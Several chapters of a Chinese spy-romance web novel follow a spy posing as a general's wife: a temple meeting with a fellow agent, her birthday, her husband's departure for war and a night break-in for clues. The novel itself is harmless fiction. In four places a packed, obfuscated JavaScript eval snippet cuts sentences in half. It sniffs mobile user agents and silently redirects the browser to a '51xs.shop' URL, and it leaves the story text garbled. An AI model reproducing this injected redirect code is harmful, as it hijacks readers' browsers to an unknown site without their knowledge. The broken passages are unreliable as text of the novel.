沁兰边说着话边将跪着的沉竹扶起，沉竹也依她的话，去向寺中的长老解签，寻求破解之法。 长老为她寻了一句诗，还说了许多话为她解惑。 沉竹认真听后，请了符纸香囊，又添了不少香火钱才离去。 霍任芙此时也从另一间小阁中走出。 “嫂嫂你我上山去看看吧！山上景色定当不错。” “好。” 沉竹与霍任芙并肩上山，叶准等一行人则在山下等候。山上除去从山脚下便可见的绿树，还有不少成片的野花奋力开放着。 沉竹却无心欣赏周遭美景，她回想着刚才长老同她所说的最后一句话：柳暗花明，可寻方向。 她期待转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376653|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机的到来，又担忧自己的生命是否能够持续到转机的到来。 她的心事重重被一旁的霍任芙看在眼里。 “嫂嫂可是有什么心事？不妨同我说说。”霍任芙语气关切，语气充满担忧。 沉竹勉强对她笑着，却不知话该从何说起。 所幸一旁的沁兰出声，代她回应了霍任芙的担忧。 “夫人今日签运不佳，刚刚听完寺中长老解签，此时大抵也是因此有些心不在焉。” “原是这般，嫂嫂切莫因此忧伤忧虑，许是今日运气不佳，那小小竹签能定下的事少之又少，往后该如何还是要看自己，每日多喜乐，尽力地活着，才是破除一切厄运的根本。” “你瞧。”霍任芙吹去路边采撷来的野花上的尘土，将花别至沉竹的耳后，“‘羞花闭月花愁颤’如此山间灵花别至嫂嫂耳畔，都有些自愧不如呢。” 沉竹终是因霍任芙的夸赞展颜，二人到底还是一路有说有笑地行至半山腰。 然就在二人欲再上山时，却遇到了下山的人。 来人是与沉竹有着两面之缘的王府侍女。 “霍夫人安，霍小姐安。” “你是？”一旁的霍任芙提问。 “奴乃景王妃侍女润夏，今日来浮尘寺是来替王妃取些祈福用的香囊。既然遇见，这两个香囊便赠予夫人与小姐，算是王妃的一片心意。” 沉竹和霍任芙从润夏的手中接过两支纹样不同的淡紫色香囊。 霍任芙将香囊放到鼻尖浅嗅后向润夏又问道：“此香囊是何种香料制成？香味极为沁人。” “王妃对香味敏感，擅于制香，其中应当添加了丁香、薄荷、紫苏、陈皮等一些香料，具体用料多少我也不甚知晓，夫人小姐喜欢就好。” “还是要多谢王妃赐福。”沉竹轻声道。 “是，要多谢王妃。” “夫人、小姐的谢意我会向王妃传达，时候不早了，奴便先回王府了。”润夏边依次向沉竹和霍任芙行礼边说道，“霍夫人、霍小姐再会。” 说罢，润夏便从二人旁边经过离去。 沉竹手中淡紫色的香囊上绣着几片嫩绿的竹叶，她不免心中一惊，可面上依旧状作平常，同霍任芙一起登上山顶，又缓步走下山去。 回程时已是夜晚，还略下起小雨来。 沉竹烟灰色的裙摆在下车回府之时还是被洇湿，沁菊在身旁为她撑着黄色的油纸伞，陪着她回到正屋处。 路上，叶准告知于她霍间重今日晚归，不必等他。 “帮我备水沐浴吧。” 沉竹支开随她进屋整顿的沁兰和沁菊，她迫不及待的想要打开今日收到的那只香囊。 她坐在窗下的木桌边上，在烛火的照映下打开了那只绣着竹叶的淡紫色香囊。 果不其然，香囊中塞着一张折叠后的纸条。 她将纸条取出，在阅读过纸条上的内容过后，将纸条放在烛火之上燃成灰烬，随后又将落在桌面之上的灰烬清理干净。 许是柳暗花明，纸条上写道：下月十五，拂尘寺。 9. 生辰 时隔四个多月再次收到有关赋凌司消息的沉竹无疑是惊喜的，哪怕现在对于这份消息她依旧感到未知。 香囊之上并没有赋凌司以往传递任务的标记，让她感到熟悉的只有绣在那淡紫色香囊之上的竹叶。一望无际的高耸竹林，这是每个赋凌司中人都不会忘记的景象。 除此之外，还有一众疑问也霎时间充斥在沉竹心头。 约她下月十五在拂尘寺相见的又是谁？是侍女润夏，还是她背后的景王妃抑或是景王？又或者，自己的身份已经暴露，这场于她而言全然未知的相见是一个早就被设计好的陷阱？ 那这次会面的内容又会是什么？是抓捕、揭发还是崭新的任务内容与解药？倘若接到任务，此任务又与霍家兄妹相关，她是该做还是不做？ 平心而论，自打嫁入霍家门楣以来，兄妹二人待她真心。可这份真心又是否值得她豁出性命？沉竹在心中思量已久，难以下出定论。 但不论如何，下月十五她定然要去往拂尘寺，去找寻自己的一线生机。 燕京的这场雨久违地持续了很久，雨滴不停地敲打在地面和砖瓦之上，也错落的下在沉竹的心里。 依旧是每日的三餐和固定的步调，可偏偏就是不同，一切好像又恢复了生机，那张纸条不论结果如何，却实打实地为她带来了希望。 这段时间内情绪的起落让她忽视了许多，以至于忘记了属于赵叶芊的生辰。 在回到赵府的一年内，赵父赵母为她庆祝过一次生辰，那是沉竹第一次体验到过生辰的滋味，有名义上的家人的陪伴与宠爱，那天的记忆足以永远地留存在她的心中。 这次，在她嫁入霍府后收到的第一声‘生辰快乐’来自霍间重。 晨光熹微，他还躺在她的身旁。 刚刚转醒的沉竹，收到这份耳边的道贺足足愣了半晌，才用清晨略微沙哑的声音故作羞涩地说道：“谢谢夫君。” 霍间重今日仍需上朝，沉竹梳洗过后，帮着他整理衣冠，陪着他出府登上马车，又目送着他离去。 自打那日霍间重同自己说清情况后，她便说不清自己现下与霍间重的关系，说是夫妻却又带着几分疏离，说是陌路却比刚新婚时多了许多亲密。 而她自己却不知在何时，心中会有些期待看到霍间重的身影，看到霍间重归府，脚步都会带着几分欣喜。 而这份欣喜之中有几分属于沉竹，又有几分属于她所扮作的赵叶芊，她自己也陷入真真假假之间，难以分清。 然的确有一份于沉竹而言十足危险的情感在不知不觉处滋生、蔓延，她不去想未来，只能维持着走一步看一步的心态。 沉竹打着伞从府门返回正屋，途中霍任芙出现，将她拦住，带至她的闺房。 “今日是嫂嫂的生辰，我听闻嫂嫂对字画略有些研究，想必是对此上心的，我特请燕京中有名的书法先生，为嫂嫂题了一副生辰词，此外，置办府宴时，我见嫂嫂喜爱民北街的果脯，又特意买了些来，以此当作我赠予嫂嫂的生辰礼，不知嫂嫂欢喜否？” 霍任芙语气真挚活泼，是真的把她的生辰当作了一件喜事。 沉竹将递至她眼前的裱好的字画展开，点缀着细碎金箔的宣纸之上，“愿尔康强好眠食，百年欢乐未渠央”两句诗被有力地浸染在上。 “多谢，我自然是欢喜的。”沉竹笑着对霍任芙说。 “当真？” “自然当真。” “可我还有礼物要送与嫂嫂。”说罢，霍任芙从袖中掏出一根竹签，在竹签的上方，落着“上上签”三个娟秀的小字。 “这是我送给嫂嫂的签运，切不要为往日之事再多挂怀。” 见到霍任芙自制的竹签，沉竹还是不免被逗乐。 “这份生辰礼倒是极好，我便收下了。” “还有，我今日还让膳房做了长寿面，和一桌子嫂嫂爱吃的菜。只是不知兄长是否能赶回，一起用饭。” 霍间重近几日上完朝后，总会被景王再叫到府中叮嘱几句，至于内容涉及廷正监的事宜，沉竹不甚明晰。 “无妨，夫君在今日晨起就已同我道贺，我已甚为欢喜。” “兄长近来事忙，我听叶准说边境又起战乱，不日兄长便又要前往边境了。” “既是如此，去期可定？” “尚未。” 近日城中传闻覃国在各国间周旋，意图挑起战争，只是沉竹未想到战火竟来得如此快。 窗外的雨还在一直下着，霍间重归府时已是傍晚。 只是，走时明明还坐着马车，但归来时深蓝色衣衫却都已湿透，变了颜色。 “这是怎么回事？兄长走时雨还下着，应当是坐着马车吧，怎得回来时便淋了雨？可是马车出了问题？”霍任芙见着衣角尚且滴着水的霍间重站在门厅之外，关切地问道。 “将军今日事务繁多难以脱身，待处理完手中事务便急着赶回来了，马车无碍，是将军嫌马车太慢，骑快马回来的。” 霍任芙了然地笑笑，正将新衣物和帕子递给霍间重并牵他进门的沉竹听后，微微低了头。 霍间重进里屋将湿着的衣衫换下，再出来后便径直坐到了靠着沉竹的那一边。 侍者将最后一道菜端上，霍任芙将每人面前的酒盏都斟满，随后提杯为沉竹祝词。 霍间重维持着在景王宴席上的习惯，向沉竹不大的碗中添着菜。 不同于赵父赵母那般小心翼翼的靠近，同霍家兄妹相处的这些时日显然更加自在，这次生辰也实实在在地令沉竹感到欢欣，虽然这并不是她真正的生辰。 沉竹不记得自己真正的生辰在何年何月，年龄和姓名都是赋凌司给予她的代号，更遑论在人人争抢能够执行任务机会的情境下收到一份不论轻重的礼物。 霍间重在归府之前还为沉竹带了一份生辰礼。 这份礼物被他用木盒和布包裹，他趁着沉竹沐浴，将礼物放在了梳妆镜之前。 待沉竹自浴房中走出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376654|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，便一眼看到了梳妆台上这份打眼的礼物。 她将还有些潮湿的布打开，也将那被打磨出的木盒打开，里面放着满盒的首饰钗环。 霍间重此时并不在房中，沉竹将那盒中的首饰一个个拿起端详。 都是些当下燕京时兴的式样，她忽地想起那日沁兰曾同她说过的要择日外出挑选首饰的话，此事被之后的繁琐一拖再拖，甚至她都快要将此事忘记。 “可有些喜爱的？我今日去了几间在燕京颇有些名气的首饰铺子，不知该选些什么，便随着眼缘每个都挑了几样。” 霍间重边说边跨进主屋的门槛，看向穿着白色寝衣，散发坐在梳妆镜前，垂头看手中银簪的沉竹。 “夫君买这些我是很欢喜，只是未免太过破费。“ “除去每月的俸禄，我也有些积蓄，你不必为此担忧。“ “但朝中各处都在缩减开支，这样可会太过招摇？“ “只你欢喜便好，不必为我思虑。“ 霍间重倾斜着身子靠在杉木打成的梳妆台边，拉近自己与沉竹的距离。 “这支，如何？“他从木盒中拿过一支用石榴石点缀的银簪，在沉竹的头上比划着。 沉竹被他这副摸样弄笑，将手伸至头顶之上，从霍间重的手中接过银簪，仔细端详后品评。 “是还不错。“她说着，将手中的银簪转了个圈后笑眼盈盈地看向身旁的霍间重，”夫君好眼光。” 霍间重锲而不舍，接着从木盒之中拿出手镯，拉起沉竹的手比对着。 在为沉竹左手腕上戴了第三个镯子之后，他一把将沉竹从凳子上拉到了自己身前。 沉竹显然有些惊到了，但眼下令她更加难以喘息的是她与霍间重鼻尖挨着鼻尖的距离。 “这镯子的颜色很适合你。” 沉竹无心去分辨霍间重说的到底是自己手上被他套上的那只手镯，只能注意到自己的每一次呼吸。 屋内烛火通明，两人的气息却纠缠不清。 霍间重的唇逐渐向她的靠近，沉竹对于他的靠近不做反应只是闭上了双眼。 闭上眼后，感官被无限放大，她感受到自己的心跳，也感受到霍间重的靠近。 霍间重搂着她的腰，轻轻碰上她的唇，随后加深了这个吻。 那只刚刚将她拉至身前的手，此时跟着喘息的节奏，隔着此时已有些松散的白色寝衣摩挲着她的肌肤。 可就在此时，敲门声突兀地在一众凌乱的雨声中响起，与之相应的是二人迅速拉远的距离。 沉竹整理着自己半褪的寝衣，霍间重则面色不悦地拉开房门，门外带着凉意的空气刺破了屋内的旖旎。 门外站着的是叶准，他神色急迫，衣衫已被雨淋湿，面上还挂着雨滴，显然是小跑而来。 “将军，郑将军传信，说有要务此时要与将军在廷正监相商。” “是何要务，如此紧急？”霍间重冷着声音回问。 “边关战事。” 10. 收获 兆国的秋来得很快，树上已不见绿叶，不变的是拂尘寺的香火，依旧旺盛。 沉竹依照时间来到了拂尘寺，同她一起的还有沁兰与沁菊。 她试图在人群中找到一张熟悉的面孔，但无果。 寺院内燃烧着的香带来了缭绕的白雾，沉竹还是依旧先走入寺院的正殿，开始参拜。 除去赴约，她来此也为祈福，霍间重去期已定，战场之上刀剑无眼，求得一平安符也算是慰藉。 正殿内很静，她跪在相同的位置，诚心地发愿。 待她祈完愿直起身，一旁的住持递给她一张纸条，纸条上写着：寺院后山顶。 走出正殿，她跟身边的沁兰说道：“住持方才给我一张字条，让我去寺院之后寻解，你和沁菊不妨先在寺中先逛逛，日落前我会到马车处寻你们。” “是。”二人行礼回应之后，沁兰像是不放心又多说了几句，“不论何种结果，夫人切莫神伤。” 沉竹点点头，随后离去。 山上已不复上次来时翠绿，山花也多枯萎。 山顶之上人并不多，一眼望去没有沉竹熟悉的面庞，只有一个粉色的背影令她感到熟悉，她不犹豫地走上前去。 “润夏？”她叫出眼前人的名字。 “既来此，不如叫我沉夏，王妃赠名时，时值盛夏，便恰巧取了这个字。” 赋凌司为同期内的派出的细作都赋予了相同的字用做代号。 “你缘何知晓我的身份？” “你刚到燕京之时，燕京城的辨情使便告知了我你的身份。” 辨情使是赋凌司在一城之中所设的最高机构，整座燕京城内细作、坊丁、刺客的行动都要听此处指挥。 “沉竹。”沉竹扭头告知身侧人自己真正的姓名，交付出了自己的信任，“你何时来此？” “比你稍早些，大约是一年前。彼时景王府中购置家仆侍女，司使为我编造了身世，将我安排在燕京的人牙子手中，又设法将我安排进了景王府。” 润夏说及此，莞尔笑了一下，继续对沉竹讲道：“司使本是想让我凭姿色勾引景王，可我在外院之内平日里连景王的面都难以见到，偶有一两次进入内院，倒是误打误撞与王妃结缘，跟在了王妃身边，但也只是在王妃院中做些洒扫或是采买的活计，王妃待我很好，我也就断了成为景王妾室的念头，安心为王妃做事。” “你可曾转递出消息？” “只有过一次，传递的是景王身边亲近侍卫大概的信息。此后除了每月定时送来的解药，我与赋凌司再无信息往来，直到彻底失去联系。你呢？可曾传递出什么消息？” “尚未。你可知晓不久前城北那间药铺老板身亡的事件全貌？” “知晓一些。此人是赋凌司细作的事已有七八分确定，我虽未接触到案件卷宗，但确是在此事之后，景王不时便会晚归，偶尔还会召霍将军来府上小叙，我同在景王府跟前侍奉的人交好，那人同我说景王近来在忙廷正监的事宜，其间那人还隐约听到，朱国、毒药这样的字眼。我便是因此笃定了心中的想法。” “既如此你我岂不是没几日可活。”沉竹越听润夏的话，心中的沉重便越添几分。 “我想约你来此，便是有了转机。药铺老板的死虽差不多已经板上钉钉，但朱国毕竟覆灭，此事又何以如此让他们上心？” “是这么说没错，我曾问过景王妃霍间重意外升调燕京的原因，是因为景王在战场之上遇刺，霍间重救下景王，我才得以来到燕京。” “如此说来，赋凌司之事或许有些转机？你我若能找到些线索，或许还能搏得一线生机。” “可时间是否太过紧迫？” “至少还有几个月。” “几个月？”沉竹疑惑地反问，“若按照我最后一次收到解药的时间推算，药铺老板在朱国覆灭之后不过只活了半年。眼下我只剩两个月左右的时间。” “此事你大可宽心，我出使任务之前，领我出去的那位司使曾跟我说过，赋凌司给予你我的解药虽可解毒，但也带着毒性，若是服用次数过多，不服药之后能够存活的时间也就越短。你刚来兆国不过几月，且尚未执行过任何任务，一年之期想必你还是能活够的。” 沉竹听后松了口气，也不去计较为何领自己出去的司使未同她说过如此信息。 黄昏渐渐来临，山顶上的人烟也愈加稀少。 “你我各自收集线索，十日之后还是在此相见，可好？”润夏转身，笑着对沉竹说道。 “好。”沉竹应下了邀请。 沉竹先润夏下山，下山之后，她来到拂尘寺的偏殿，从长老手中接过了那只为霍间重求来的平安符，随后登上马车，返回了霍府。 霍间重出征的日子定在五日之后，这几日来沉竹在府中很少能见到他的人影，他每日往返于京郊的军营和家中。 有时他在沉竹熟睡时归来，在沉竹醒来前离去，有时事务繁多，便直接宿在营地之中。 沉竹这几日在府中便收拾着霍间重此行要带的行装。 霍间重此次要赴的是南边的战场，与同站在覃国一边的安国作战。 安国国小，但国内之人极擅刀剑之术，因而依旧不可小觑。 霍任芙一连几天也未见人影，沉竹从沁菊的口中得知，这几日内，霍任芙一直在房中绣着一对护膝。 “这护膝是给谁所绣？”沉竹向沁菊问道。 在霍府的这几个月内，沉竹将这兄妹二人之间的关系也有所了解。二人的和睦藏在时常争吵计较的表面之下，但不分日夜地绣一对护膝，是霍任芙绝不会为霍间重做出的事。 “奴听闻，此次叶统领也要同将军一起去前线。” “叶准？“ “正是。奴听闻叶统领很早便跟着将军左右征战，想必二人很早便已结识。” 沉竹对此倒是有些惊讶，不过自己的心思倒也从未放在两人身上。 “芙儿此时可还在房内？” “在。” “那你陪我去看看她罢。“ 沉竹走至霍任芙的房前，烛火在窗口处映照出温暖的光芒。 她轻轻叩响门扉，霍任芙并未前来开门，回应沉竹的是一声明显缓慢又轻声的问询 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376655|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “何人？” “是我。” 在沉竹听到房中一阵物什摆动的声音之后，房门在她的面前打开，霍任芙凌乱的发与开朗的笑一并闯入她的眼中。 “嫂嫂怎么来看我？” “这几日府中都不见你人影，自然要过来看看你。”沉竹边说边进入霍任芙的闺房，看向桌上摆放着的凌乱针线、毛绒和棕色的皮革。 “你这是在做些什么？”沉竹明知故问。 “做一对护膝。” “给何人？” “叶准。”霍任芙心知瞒不过，便爽快地说了出来。 “你与小叶统领何时变得如此亲近？我在府中这些时日竟未察觉。” “我也说不清是何时，总之是有些心怡于他。”霍任芙招呼着沉竹坐下后，便又拾起了针线。 “那小叶统领可心怡于你？” “我也不知。”霍任芙说到此突然有些懊恼，“我尚且不知我这双护膝能否成功送出，之前我也送过他些物件，他总是退还给我。” 不知结果，却能付诸这么多天的努力，这是沉竹现下难以企及的勇气和乐观。 “可惜我不精通针线绣法，没法帮到你。” “无事的，嫂嫂能来看我我便很开心。”沉竹低着头，语气活泼地回应道。 沉竹看着霍任芙模样如此认真，便不忍打扰，起身准备离去，却在离去之前看到了梳妆镜一旁挂着的香囊。 她一眼认出是那日拂尘寺润夏给他们的香囊，霍任芙的香囊同她一般是浅紫色，只是绣的纹样不同，霍任芙的那只上绣着一朵小巧的荷花。 “哦，对了，那日你说你喜爱王妃所赠香囊的味道，我今日读了些书，也买了些香料，你若是有空，可来我房中，你我一起闲聊探讨。” “好啊。”霍任芙听后眼睛亮亮地看向沉竹，“嫂嫂待我可真好。” 沉竹笑了笑，同她告别。 霍任芙也同她摆摆手，待沉竹离去之后，便又重新低下头去。 夜已深了，月光皎洁，哪怕隔着窗子，还是直直地照了近来。 霍间重此时尚未归家，沉竹沐浴之后，便先上床休息。 直至后半夜，有人蹑手蹑脚地打开房门，窸窸窣窣一番动作后，沉竹感到自己身侧的床榻沉了一沉，她不由得微微睁眼。 “可是吵醒你了？”霍间重看到沉竹眨动的眼皮轻声问道。 见是他，沉竹便也安心，将眼皮合上，翻身背对着他，试图重新进入睡眠。 “莫要生气。”霍间重从背后隔着薄被将她搂入怀中，“明日大军便要出征，今夜虽晚，我便还是想归家。” 控制不住的睡意让沉竹将这句话听得断断续续，隔了好一阵才发出个‘嗯’字，身上也懒得挣扎，任由身后人抱着。 霍间重听到她几近梦呓的回应，嘴角的弧度不由得上扬。 自那次将事情说清之后，他看得出沉竹眼中逐渐清晰的真心，尽管还是隔着一层似有若无的面纱，但他还是感到了爱意与满足。 呼吸渐渐平稳，二人双双坠入了梦乡。 11. 进展 隔日，许是将昨日夜间霍间重的话听了进去，沉竹早早起身，来为霍间重送行。 待霍间重自己将那繁复的盔甲穿戴整齐，她将那平安符塞入他的手中。 “这是我从拂尘寺求来的，他们说此寺灵验，此符应当能保平安。” 霍间重将此符收下，握住了沉竹的手，温声说道：“夫人放心，有此符护佑，我此次定当平安归来。“ “时候不早了，夫君该要出发了。”沉竹颇有些伤感地将此话说出。 一阵嘱咐与忙乱过后，她站在府门之前，霍间重则身披铠甲坐在马上。 二人的视线在空中碰撞，先躲闪开的是沉竹，她突然意识到自己的眼眶已然在不知不觉中湿润。 “我定会平安归来。”霍间重说罢，便不做停留，骑马离去。 逐渐遥远的马蹄声将落叶破碎的声音掩盖，然后又重归寂静。 霍间重和叶准的身影也消失在了街道的尽头。 昨晚刚刚完工的棕色护膝还是落在霍任芙的怀中，并未送出，但在她的脸上，沉竹也没有看出多出的失落。 霍间重离开之后，沉竹的行动少了些限制，为了按照约定在拂尘寺山顶之后交换到更加有用的信息，她思来想去还是决定亲自前去城北药铺老板家中查看，尽管可能已找不到线索。 夜晚，她翻出那件被她从滁州带到燕京的夜行衣，在将烛火熄灭之后，从霍府无人看管的后墙矫健地翻了出去。 白日里热闹的燕京，在夜晚依旧静谧，只余更夫在大道上打更和秦楼楚馆彻夜地嬉笑之声延续着白日的喧闹。 沉竹根据前些时日和霍任芙外出所听到的消息，轻声在屋檐之上和暗巷之间行走，找到了那间曾被廷正监官兵重重包围了两次的宅子。 沉竹在看清宅子周边守着的官兵时停下，那些官兵们穿着沉竹熟悉的廷正监所属的衣服，在这间宅子的四角守卫着。 悄无声息地进入这间宅子于在赋凌司训练多年的沉竹而言并不算难事。 她轻巧地跃起，无声地落在宅子的一角屋檐之上，在檐下侍卫将要抬头查看之时，跳下，落在院内石子铺就的地板之上。 沉竹先将各个房间之内有字的文书大概翻看了一遍，除去几张有些奇怪的药方，其他的东西显然都被人整理或察看过。 她将那几张药方抽走，开始寻找别的信息。 她按照在赋凌司的那些记忆将宅内有可能藏匿信息的地方一一翻找，还是在距离院内西北角大约十步的地下找到了线索。 可刨开的土坑却没有想象中那般容易复原，燕京之前一连几日都在下雨，地下的土壤都变得潮湿，沉竹只能寄希望燕京能再下一场大雨或是门外的守卫在明日的巡视时将此处忽视。 天将要破晓，沉竹还剩最后一处没有察看。 她踩着一旁的石桌再次跃上屋檐，数着数掀起了正中那间屋子上左侧的第一个瓦片。 然就在沉竹掀起之时，屋内的驾着的弓弩似是被此牵动，一支箭朝她射来。 沉竹侧身堪堪躲过，但刺耳的铃铛声即刻出现在耳畔。 门外的守卫随即冲了进来，却只见一个黑影翻出墙。 “快追！”领头的人大喊道。 在此之后，身边人释放出手中的信号，一抹亮光伴着声响出现在微泛白的上空。 待那些侍卫翻墙追赶之时，沉竹并未远离，而是伏在不远处的房檐之上，将脚下的瓦片掷向另一边的空着的街道之上。 追赶而来的侍卫被破碎的瓦片声吸引，沉竹则从相反的方向逃离。 她走着与来时别无二致的暗巷，有惊无险地赶在天亮之前回到了霍府。 换上早已备好的寝衣，将略带尘土的夜行衣放入柜子，再重新躺倒床榻之上闭上眼，来不及将拿到手的线索仔细查看，沁兰在不久之后便敲响了她的房门。 “夫人可起了？今日还要去赴李夫人的宴席。” 沉竹闷着声回答道：“起了，你进来吧。” 她掐着沁兰推门而入的那一刻将腿迈下床，边揉着眼睛边向沁兰问道：“水可备好了。” “备好了。” “夫人先去洗漱，我待会儿为夫人梳个时兴的发髻。”跟着而来的沁菊语气欢快地说道。 沉竹洗漱好坐在梳妆台前，沁菊将她不久前才拆下的头发重新挽起。 “夫人今日怎的看去这般无精打采？”沁兰看着她眼下的青黑，轻声问道。 “定是忧思将军彻夜难眠。”沁菊笑着打趣。 沉竹也就应下她的话头，浅笑着微微低头。 “夫人要注意自己的身体才是。”沁兰话中的担忧并未因此减少半分。 “既如此，今日戴这支簪子可好？” 沁菊手中拿着的是霍间重送给她的那份众多生辰礼的其中一支。 见沉竹点头后，沁菊将那只玉簪斜插入她的发髻之中，清透的玉色同赤色的玉珠相得映章，也算将她暗沉的气色拉回几分。 李夫人设下的宴席排场并不大，只是备了茶水点心，邀了些官员家眷前来一同说话品尝。 沉竹应下此宴本是想从李夫人口中再得知些那案件的经过，不想她刚踏入府门，便被李夫人拉到一处隐蔽的亭台之内。 “李夫人寻我何事？“ “上次你家开府设宴，是我失言，霍将军此后又找了我家夫君说明事态状况。实是我有错在先，在此特向夫人道歉，万望霍夫人见谅。“ 李夫人神情真挚，言辞恳切，看得出是诚心向自己道歉，可此事既在此处翻篇，她就再无追问的可能性。 “李夫人这是哪里的话，你我身为臣妇，为夫君忧思朝堂事务在所难免，只是想必那日李夫人在情难之下才会同我说到此事，不知夫人可否同我说说此案何处令夫人为难，我也好为夫人解忧。“ “不过是觉得一案未查清便草草结案决定情理上有些难容罢了，那时情急才会向夫人提出此事。” 沉竹见再问不出什么，便也不深究，笑着同李夫人说道：“夫人想开便好。” “还是多谢霍夫人如此为我着想，前院已备好了茶，夫人随我前来吧。”见沉竹的态度缓和，李夫人的语气也轻松了起来。 前院之内茶水与点心备得很足，可沉竹却未将手中的茶饮完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376656|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一杯，将盘中的点心动过一块。 在李夫人的介绍之下，沉竹一一认识了赵夫人、徐夫人等一众官眷，她们穿着华服，言笑宴宴，聊着沉竹所不知的燕京趣事。 一开始沉竹还跟着笑笑，却不想这圈子兜到了自己身上。 “霍将军英明神勇，在边境屡次立下战功，霍小姐自然也是聪慧机敏的吧。”徐夫人挑起话头，直直地问向沉竹。 “自然，芙儿她的确伶俐又懂事。” “我听闻，霍将军早些年间外出征战，家中事务便由霍小姐一手打理，想必是能干的。”王夫人在一旁搭腔道。 沉竹点点头，不作声。 徐夫人又接着说道：“不知霍小姐婚配否？“ “徐夫人是有人选推荐？” “同霍夫人这样的明白人讲话就是爽利，我有一贤侄刚行弱冠之礼，现下在燕京府衙当值，与霍小姐极为登对呢。” “我如今过门还不到一年，哪里管的到霍小姐的事，徐夫人说笑了。” “霍家兄妹没了母亲，长嫂为母，你自是要帮着物色人选。”徐夫人瞧出了沉竹的推拒，说此话时语气便不像先前那般柔和。 “那依徐夫人的意思，应当如何是好？” “自然是要见面的。”徐夫人的脸上又绽开了笑容，“明日，明日让二人在城中曲水亭相见可好？” “我还是要回府问过霍小姐才好。” 徐夫人正欲反驳，一旁不发一语的李夫人此时倒是将话题岔开，转到了品茶一事上来。 直到宴席结束，此事也再未被提起。 待出了李府的大门，沉竹便让沁菊去打听徐夫人的侄子。 夜晚，沁菊携着消息归来告知沉竹。 徐夫人的这个侄子在燕京府衙里担当衙役，无甚坊间传闻，只是每月他家采购的胭脂水粉都要比别的家多出一倍来。 沉竹听后心中有了数，便没将今日在宴席上的事告诉霍任芙。 入秋之后，燕京的天便多了凉意，夜晚的风不时便从缝隙之中猛烈地跑了进来，让沉竹在读霍间重从边关寄来的第一封信时，四方都用了镇纸。 这是她第一次读霍间重写予她的信，字辞算不上华丽，却让她感受得到那份透过纸面的思念。 她也提笔，为霍间重写了封信送去。她不再重复之前的内容，用心写了这些时日里所经历的繁杂琐碎。 但零零总总差不多都写了一遍，也才将将写满一页，沉竹看着霍间重写满字的两张纸有些懊恼，最后还是将先前那些字句换了顺序又补了一页。 顺便也为远在滁州的赵父赵母写了封信报平安。 一夜未睡再加上一日劳累，沉竹躺在床榻之上很快入眠。 自打来到燕京，沉竹因着自己时日不永，还尚未给赵父赵母写过一封信，倒是对方频繁来信，询问她的生活和近况。 面对这样的来信，沉竹总以思念过度为名，让沁兰代笔写些近况送回去。 可这次却不一样，无数相同的念头驱动着她落笔，将自己的情感用文字描摹。 万一，她与这里的这些人还有可见的未来。 12. 线索 与润夏约定的十日之期很快到来，沉竹拿着线索，以为霍间重祈福的名义再次前往拂尘寺。 润夏穿着她熟悉的景王府侍女的服饰，等候在山顶一侧的小亭中。 沉竹戴着一顶白色的帷帽，向她走近。 “你今日怎来得这样早。” “王妃每隔上几日便会让我来此为寺院供奉些香火，我离开王府的时间总是一样的。” “原是这样，我前几日潜入被廷正监守卫的宅院，找到了这些东西。” 沉竹将带来的线索放在了小亭中的石桌之上。 “‘陈家巷面点摊’？”润夏将沉竹从地下拿到的信息轻声读了出来。 “正是，这几日我去打听过，陈家巷巷口的确有着一家面点摊。只不过已好久未曾出摊了。“ “这消息你是从何处找到的？“ “距院中西北角大约十步左右的地下。” “此面点摊便是燕京城内的辨情使的藏匿之处。” “你是说经营此面点摊的人是赋凌司设在燕京的辨情使？”沉竹先前在滁州时并未实行过任务，因而对滁州的辨情使所在并不知晓很多，如今来到燕京则更是一无所知。 “正是。先前与赋凌司断联时，我曾前去此处查看，那时便不见辨情使的踪迹。” “若是赋凌司尚在，辨情使定会知晓些蛛丝马迹，可此人为何将消息藏在此处？”这处是凡是赋凌司中人便能想到的地方。 